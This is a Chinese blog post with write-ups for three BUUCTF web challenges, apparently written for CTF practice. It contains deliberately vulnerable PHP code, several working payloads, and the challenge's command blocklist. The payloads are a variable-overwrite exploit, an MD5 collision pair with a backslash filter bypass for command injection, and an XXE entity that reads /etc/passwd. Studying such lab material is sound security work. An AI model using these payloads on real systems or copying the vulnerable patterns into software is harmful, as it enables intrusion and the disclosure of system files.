BUU刷题Day7

最新推荐文章于 2023-06-06 14:29:06 发布

姜小孩.

最新推荐文章于 2023-06-06 14:29:06 发布

阅读量1.9k

点赞数 1

分类专栏： buu刷题记录文章标签： php 安全 web安全网络安全 mysql

本文链接：https://blog.youkuaiyun.com/qq_45557476/article/details/123847252

版权

buu刷题记录专栏收录该内容

16 篇文章

订阅专栏

[BJDCTF2020]Mark loves cat

[NCTF2019]Fake XML cookbook

总结：

[BJDCTF2020]Mark loves cat

buu不能用御剑这类的工具扫，但是可以用burp设置线程小一点，虽然慢，但是比没有好，这个题是.git泄露，用githack获取源码

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  //GET方式传flag只能传一个flag=flag
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){    //GET和POST其中之一必须传flag
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
    exit($is);
}

echo "the flag is: ".$flag;
?>

PHP foreach 循环

该foreach循环仅适用于数组，用于循环遍历数组中的每个键/值对。

语法

foreach ($array as $value) { code to be executed; }

举个栗子

对于每次循环迭代，将当前数组元素的值分配给 $value 并将数组指针移动 1，直到它到达最后一个数组元素。

这里有变量覆盖漏洞，前两个foreach语句分别将POST参数和GET参数进行变量覆盖，接着是三个if语句，exit()函数退出脚本的同时输出变量，最后一句是输出我们想要的flag。

先看第一个GET传flag

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  //GET方式传flag只能传一个flag=flag
        exit($handsome);
    }
}

如果 get型flag参数绝对等于变量名并且变量名等不等于flag则执行 exit($handsome)，如果我们传参?flag=abc&abc=123，输出$handsome，但是这个写法会在前面进行变量覆盖的时候让$flag=$abc（会报错，因为$abc不存在），所以这里不行

if(!isset($_GET['flag']) && !isset($_POST['flag'])){    //GET和POST其中之一必须传flag
    exit($yds);
}

如果GET和POST都没有传flag参数，则执行exit($yds)；这里可以传?yds=flag，经过变量覆盖之后就$yds = $flag，从而输出$flag的值。

第三个位置

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
    exit($is);
}

判断条件为$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'，这里可以通过满足后面这个条件进行变量覆盖：GET传参is=flag&flag=flag；在第二个foreach语句中，首先是$x=is,$y=flag,带进去就变成了$is=$flag，这就达到了覆盖的目的，而参数中flag=flag只是为了满足if语句；

总结：

有些命令给出来可能是迷惑人的，要好好的审！

学到了foreach！

[安洵杯 2019]easy_web

打开题目发现url上有?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

base64解码一下MzUzNTM1MmU3MDZlNjc=

再解码3535352e706e67

Ctrl+U查看源代码发现有一大串base64加密，那我们就换行看看后面隐藏了什么好东西

MD5 is funny（我也这么认为

应该和MD5有关，但是思路断了，那就抓包看看消息头，没有东西。。

回头再看哪个base64两次解码出来的东西，那就hex解码一下

555.png

因为源代码里面有MD5加密所以我把index.php也hex编码，然后两次base64试试，看能不能读到源码；就这么读到了！

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

注意！！

    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }

MD5强碰撞？冲！掏出以前的笔记

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

POST传一下

然后会返回cmd里面的结果！ls一下吧，啊哦！ls被禁了，但是\没有被禁！所以payload：

l\s

没有flag，那就

ca\t%20/flag

拿下！

总结：

可以用l\s来bypass

[NCTF2019]Fake XML cookbook

看这个名字应该是个XXE注入！抓包！

很明显，username和password都是xml格式，且返回的包中msg标签内的内容就是我们username的内容，所以我们的注入点就在username！

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user>
<username>
&admin;
</username>
<password>
123456
</password>
</user>

读到了！